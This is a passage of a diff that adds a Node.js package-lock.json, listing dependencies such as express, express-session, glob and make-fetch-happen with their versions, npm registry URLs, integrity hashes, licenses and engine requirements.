+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/escape-html": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz",
+      "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==",
+      "license": "MIT"
+    },
+    "node_modules/etag": {
+      "version": "1.8.1",
+      "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz",
+      "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/expand-template": {
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/expand-template/-/expand-template-2.0.3.tgz",
+      "integrity": "sha512-XYfuKMvj4O35f/pOXLObndIRvyQ+/+6AhODh+OKWj9S9498pHHn/IMszH+gt0fBCRWMNfk1ZSp5x3AifmnI2vg==",
+      "license": "(MIT OR WTFPL)",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/express": {
+      "version": "4.22.1",
+      "resolved": "https://registry.npmjs.org/express/-/express-4.22.1.tgz",
+      "integrity": "sha512-F2X8g9P1X7uCPZMA3MVf9wcTqlyNp7IhH5qPCI0izhaOIYXaW9L535tGA3qmjRzpH+bZczqq7hVKxTR4NWnu+g==",
+      "license": "MIT",
+      "dependencies": {
+        "accepts": "~1.3.8",
+        "array-flatten": "1.1.1",
+        "body-parser": "~1.20.3",
+        "content-disposition": "~0.5.4",
+        "content-type": "~1.0.4",
+        "cookie": "~0.7.1",
+        "cookie-signature": "~1.0.6",
+        "debug": "2.6.9",
+        "depd": "2.0.0",
+        "encodeurl": "~2.0.0",
+        "escape-html": "~1.0.3",
+        "etag": "~1.8.1",
+        "finalhandler": "~1.3.1",
+        "fresh": "~0.5.2",
+        "http-errors": "~2.0.0",
+        "merge-descriptors": "1.0.3",
+        "methods": "~1.1.2",
+        "on-finished": "~2.4.1",
+        "parseurl": "~1.3.3",
+        "path-to-regexp": "~0.1.12",
+        "proxy-addr": "~2.0.7",
+        "qs": "~6.14.0",
+        "range-parser": "~1.2.1",
+        "safe-buffer": "5.2.1",
+        "send": "~0.19.0",
+        "serve-static": "~1.16.2",
+        "setprototypeof": "1.2.0",
+        "statuses": "~2.0.1",
+        "type-is": "~1.6.18",
+        "utils-merge": "1.0.1",
+        "vary": "~1.1.2"
+      },
+      "engines": {
+        "node": ">= 0.10.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/express"
+      }
+    },
+    "node_modules/express-session": {
+      "version": "1.19.0",
+      "resolved": "https://registry.npmjs.org/express-session/-/express-session-1.19.0.tgz",
+      "integrity": "sha512-0csaMkGq+vaiZTmSMMGkfdCOabYv192VbytFypcvI0MANrp+4i/7yEkJ0sbAEhycQjntaKGzYfjfXQyVb7BHMA==",
+      "license": "MIT",
+      "dependencies": {
+        "cookie": "~0.7.2",
+        "cookie-signature": "~1.0.7",
+        "debug": "~2.6.9",
+        "depd": "~2.0.0",
+        "on-headers": "~1.1.0",
+        "parseurl": "~1.3.3",
+        "safe-buffer": "~5.2.1",
+        "uid-safe": "~2.1.5"
+      },
+      "engines": {
+        "node": ">= 0.8.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/express"
+      }
+    },
+    "node_modules/express-session/node_modules/cookie-signature": {
+      "version": "1.0.7",
+      "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.7.tgz",
+      "integrity": "sha512-NXdYc3dLr47pBkpUCHtKSwIOQXLVn8dZEuywboCOJY/osA0wFSLlSawr3KN8qXJEyX66FcONTH8EIlVuK0yyFA==",
+      "license": "MIT"
+    },
+    "node_modules/express/node_modules/qs": {
+      "version": "6.14.2",
+      "resolved": "https://registry.npmjs.org/qs/-/qs-6.14.2.tgz",
+      "integrity": "sha512-V/yCWTTF7VJ9hIh18Ugr2zhJMP01MY7c5kh4J870L7imm6/DIzBsNLTXzMwUA3yZ5b/KBqLx8Kp3uRvd7xSe3Q==",
+      "license": "BSD-3-Clause",
+      "dependencies": {
+        "side-channel": "^1.1.0"
+      },
+      "engines": {
+        "node": ">=0.6"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/file-uri-to-path": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz",
+      "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==",
+      "license": "MIT"
+    },
+    "node_modules/filelist": {
+      "version": "1.0.6",
+      "resolved": "https://registry.npmjs.org/filelist/-/filelist-1.0.6.tgz",
+      "integrity": "sha512-5giy2PkLYY1cP39p17Ech+2xlpTRL9HLspOfEgm0L6CwBXBTgsK5ou0JtzYuepxkaQ/tvhCFIJ5uXo0OrM2DxA==",
+      "license": "Apache-2.0",
+      "dependencies": {
+        "minimatch": "^5.0.1"
+      }
+    },
+    "node_modules/finalhandler": {
+      "version": "1.3.2",
+      "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.3.2.tgz",
+      "integrity": "sha512-aA4RyPcd3badbdABGDuTXCMTtOneUCAYH/gxoYRTZlIJdF0YPWuGqiAsIrhNnnqdXGswYk6dGujem4w80UJFhg==",
+      "license": "MIT",
+      "dependencies": {
+        "debug": "2.6.9",
+        "encodeurl": "~2.0.0",
+        "escape-html": "~1.0.3",
+        "on-finished": "~2.4.1",
+        "parseurl": "~1.3.3",
+        "statuses": "~2.0.2",
+        "unpipe": "~1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/forwarded": {
+      "version": "0.2.0",
+      "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz",
+      "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/fresh": {
+      "version": "0.5.2",
+      "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz",
+      "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/fs-constants": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz",
+      "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==",
+      "license": "MIT"
+    },
+    "node_modules/fs-minipass": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz",
+      "integrity": "sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==",
+      "license": "ISC",
+      "dependencies": {
+        "minipass": "^3.0.0"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/fs.realpath": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
+      "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==",
+      "license": "ISC",
+      "optional": true
+    },
+    "node_modules/function-bind": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
+      "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==",
+      "license": "MIT",
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/gauge": {
+      "version": "4.0.4",
+      "resolved": "https://registry.npmjs.org/gauge/-/gauge-4.0.4.tgz",
+      "integrity": "sha512-f9m+BEN5jkg6a0fZjleidjN51VE1X+mPFQ2DJ0uv1V39oCLCbsGe6yjbBnp7eK7z/+GAon99a3nHuqbuuthyPg==",
+      "deprecated": "This package is no longer supported.",
+      "license": "ISC",
+      "optional": true,
+      "dependencies": {
+        "aproba": "^1.0.3 || ^2.0.0",
+        "color-support": "^1.1.3",
+        "console-control-strings": "^1.1.0",
+        "has-unicode": "^2.0.1",
+        "signal-exit": "^3.0.7",
+        "string-width": "^4.2.3",
+        "strip-ansi": "^6.0.1",
+        "wide-align": "^1.1.5"
+      },
+      "engines": {
+        "node": "^12.13.0 || ^14.15.0 || >=16.0.0"
+      }
+    },
+    "node_modules/get-intrinsic": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz",
+      "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==",
+      "license": "MIT",
+      "dependencies": {
+        "call-bind-apply-helpers": "^1.0.2",
+        "es-define-property": "^1.0.1",
+        "es-errors": "^1.3.0",
+        "es-object-atoms": "^1.1.1",
+        "function-bind": "^1.1.2",
+        "get-proto": "^1.0.1",
+        "gopd": "^1.2.0",
+        "has-symbols": "^1.1.0",
+        "hasown": "^2.0.2",
+        "math-intrinsics": "^1.1.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/get-proto": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz",
+      "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==",
+      "license": "MIT",
+      "dependencies": {
+        "dunder-proto": "^1.0.1",
+        "es-object-atoms": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/github-from-package": {
+      "version": "0.0.0",
+      "resolved": "https://registry.npmjs.org/github-from-package/-/github-from-package-0.0.0.tgz",
+      "integrity": "sha512-SyHy3T1v2NUXn29OsWdxmK6RwHD+vkj3v8en8AOBZ1wBQ/hCAQ5bAQTD02kW4W9tUp/3Qh6J8r9EvntiyCmOOw==",
+      "license": "MIT"
+    },
+    "node_modules/glob": {
+      "version": "7.2.3",
+      "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz",
+      "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==",
+      "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me",
+      "license": "ISC",
+      "optional": true,
+      "dependencies": {
+        "fs.realpath": "^1.0.0",
+        "inflight": "^1.0.4",
+        "inherits": "2",
+        "minimatch": "^3.1.1",
+        "once": "^1.3.0",
+        "path-is-absolute": "^1.0.0"
+      },
+      "engines": {
+        "node": "*"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/isaacs"
+      }
+    },
+    "node_modules/glob/node_modules/brace-expansion": {
+      "version": "1.1.14",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.14.tgz",
+      "integrity": "sha512-MWPGfDxnyzKU7rNOW9SP/c50vi3xrmrua/+6hfPbCS2ABNWfx24vPidzvC7krjU/RTo235sV776ymlsMtGKj8g==",
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "balanced-match": "^1.0.0",
+        "concat-map": "0.0.1"
+      }
+    },
+    "node_modules/glob/node_modules/minimatch": {
+      "version": "3.1.5",
+      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz",
+      "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==",
+      "license": "ISC",
+      "optional": true,
+      "dependencies": {
+        "brace-expansion": "^1.1.7"
+      },
+      "engines": {
+        "node": "*"
+      }
+    },
+    "node_modules/gopd": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz",
+      "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/graceful-fs": {
+      "version": "4.2.11",
+      "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
+      "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==",
+      "license": "ISC",
+      "optional": true
+    },
+    "node_modules/has-symbols": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz",
+      "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/has-unicode": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz",
+      "integrity": "sha512-8Rf9Y83NBReMnx0gFzA8JImQACstCYWUplepDa9xprwwtmgEZUF0h/i5xSA625zB/I37EtrswSST6OXxwaaIJQ==",
+      "license": "ISC",
+      "optional": true
+    },
+    "node_modules/hasown": {
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.3.tgz",
+      "integrity": "sha512-ej4AhfhfL2Q2zpMmLo7U1Uv9+PyhIZpgQLGT1F9miIGmiCJIoCgSmczFdrc97mWT4kVY72KA+WnnhJ5pghSvSg==",
+      "license": "MIT",
+      "dependencies": {
+        "function-bind": "^1.1.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/http-cache-semantics": {
+      "version": "4.2.0",
+      "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.2.0.tgz",
+      "integrity": "sha512-dTxcvPXqPvXBQpq5dUr6mEMJX4oIEFv6bwom3FDwKRDsuIjjJGANqhBuoAn9c1RQJIdAKav33ED65E2ys+87QQ==",
+      "license": "BSD-2-Clause",
+      "optional": true
+    },
+    "node_modules/http-errors": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz",
+      "integrity": "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==",
+      "license": "MIT",
+      "dependencies": {
+        "depd": "~2.0.0",
+        "inherits": "~2.0.4",
+        "setprototypeof": "~1.2.0",
+        "statuses": "~2.0.2",
+        "toidentifier": "~1.0.1"
+      },
+      "engines": {
+        "node": ">= 0.8"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/express"
+      }
+    },
+    "node_modules/http-proxy-agent": {
+      "version": "4.0.1",
+      "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz",
+      "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==",
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "@tootallnate/once": "1",
+        "agent-base": "6",
+        "debug": "4"
+      },
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/http-proxy-agent/node_modules/debug": {
+      "version": "4.4.3",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
+      "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "ms": "^2.1.3"
+      },
+      "engines": {
+        "node": ">=6.0"
+      },
+      "peerDependenciesMeta": {
+        "supports-color": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/http-proxy-agent/node_modules/ms": {
+      "version": "2.1.3",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+      "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
+      "license": "MIT",
+      "optional": true
+    },
+    "node_modules/https-proxy-agent": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz",
+      "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==",
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "agent-base": "6",
+        "debug": "4"
+      },
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/https-proxy-agent/node_modules/debug": {
+      "version": "4.4.3",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
+      "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "ms": "^2.1.3"
+      },
+      "engines": {
+        "node": ">=6.0"
+      },
+      "peerDependenciesMeta": {
+        "supports-color": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/https-proxy-agent/node_modules/ms": {
+      "version": "2.1.3",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+      "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
+      "license": "MIT",
+      "optional": true
+    },
+    "node_modules/humanize-ms": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/humanize-ms/-/humanize-ms-1.2.1.tgz",
+      "integrity": "sha512-Fl70vYtsAFb/C06PTS9dZBo7ihau+Tu/DNCk/OyHhea07S+aeMWpFFkUaXRa8fI+ScZbEI8dfSxwY7gxZ9SAVQ==",
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "ms": "^2.0.0"
+      }
+    },
+    "node_modules/iconv-lite": {
+      "version": "0.4.24",
+      "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
+      "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
+      "license": "MIT",
+      "dependencies": {
+        "safer-buffer": ">= 2.1.2 < 3"
+      },
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/ieee754": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz",
+      "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ],
+      "license": "BSD-3-Clause"
+    },
+    "node_modules/imurmurhash": {
+      "version": "0.1.4",
+      "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",
+      "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==",
+      "license": "MIT",
+      "optional": true,
+      "engines": {
+        "node": ">=0.8.19"
+      }
+    },
+    "node_modules/indent-string": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz",
+      "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==",
+      "license": "MIT",
+      "optional": true,
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/infer-owner": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz",
+      "integrity": "sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A==",
+      "license": "ISC",
+      "optional": true
+    },
+    "node_modules/inflight": {
+      "version": "1.0.6",
+      "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
+      "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==",
+      "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.",
+      "license": "ISC",
+      "optional": true,
+      "dependencies": {
+        "once": "^1.3.0",
+        "wrappy": "1"
+      }
+    },
+    "node_modules/inherits": {
+      "version": "2.0.4",
+      "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+      "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
+      "license": "ISC"
+    },
+    "node_modules/ini": {
+      "version": "1.3.8",
+      "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz",
+      "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==",
+      "license": "ISC"
+    },
+    "node_modules/ip-address": {
+      "version": "10.1.0",
+      "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.1.0.tgz",
+      "integrity": "sha512-XXADHxXmvT9+CRxhXg56LJovE+bmWnEWB78LB83VZTprKTmaC5QfruXocxzTZ2Kl0DNwKuBdlIhjL8LeY8Sf8Q==",
+      "license": "MIT",
+      "optional": true,
+      "engines": {
+        "node": ">= 12"
+      }
+    },
+    "node_modules/ipaddr.js": {
+      "version": "1.9.1",
+      "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
+      "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.10"
+      }
+    },
+    "node_modules/is-fullwidth-code-point": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
+      "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
+      "license": "MIT",
+      "optional": true,
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/is-lambda": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/is-lambda/-/is-lambda-1.0.1.tgz",
+      "integrity": "sha512-z7CMFGNrENq5iFB9Bqo64Xk6Y9sg+epq1myIcdHaGnbMTYOxvzsEtdYqQUylB7LxfkvgrrjP32T6Ywciio9UIQ==",
+      "license": "MIT",
+      "optional": true
+    },
+    "node_modules/isexe": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
+      "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==",
+      "license": "ISC",
+      "optional": true
+    },
+    "node_modules/jake": {
+      "version": "10.9.4",
+      "resolved": "https://registry.npmjs.org/jake/-/jake-10.9.4.tgz",
+      "integrity": "sha512-wpHYzhxiVQL+IV05BLE2Xn34zW1S223hvjtqk0+gsPrwd/8JNLXJgZZM/iPFsYc1xyphF+6M6EvdE5E9MBGkDA==",
+      "license": "Apache-2.0",
+      "dependencies": {
+        "async": "^3.2.6",
+        "filelist": "^1.0.4",
+        "picocolors": "^1.1.1"
+      },
+      "bin": {
+        "jake": "bin/cli.js"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/lru-cache": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
+      "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
+      "license": "ISC",
+      "optional": true,
+      "dependencies": {
+        "yallist": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/make-fetch-happen": {
+      "version": "9.1.0",
+      "resolved": "https://registry.npmjs.org/make-fetch-happen/-/make-fetch-happen-9.1.0.tgz",
+      "integrity": "sha512-+zopwDy7DNknmwPQplem5lAZX/eCOzSvSNNcSKm5eVwTkOBzoktEfXsa9L23J/GIRhxRsaxzkPEhrJEpE2F4Gg==",
+      "license": "ISC",
+      "optional": true,
+      "dependencies": {
+        "agentkeepalive": "^4.1.3",
+        "cacache": "^15.2.0",
+        "http-cache-semantics": "^4.1.0",
+        "http-proxy-agent": "^4.0.1",
+        "https-proxy-agent": "^5.0.0",
+        "is-lambda": "^1.0.1",
+        "lru-cache": "^6.0.0",
+        "minipass": "^3.1.3",
+        "minipass-collect": "^1.0.2",
+        "minipass-fetch": "^1.3.2",
+        "minipass-flush": "^1.0.5",
+        "minipass-pipeline": "^1.2.4",
+        "negotiator": "^0.6.2",
+        "promise-retry": "^2.0.1",
+        "socks-proxy-agent": "^6.0.0",
+        "ssri": "^8.0.0"
+      },
+      "engines": {
+        "node": ">= 10"
+      }
+    },
+    "node_modules/math-intrinsics": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz",
+      "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/media-typer": {
+      "version": "0.3.0",
+      "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz",
+      "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/merge-descriptors": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.3.tgz",
+      "integrity": "sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ==",
+      "license": "MIT",
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/methods": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz",
+      "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/mime": {
+      "version": "1.6.0",
+      "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
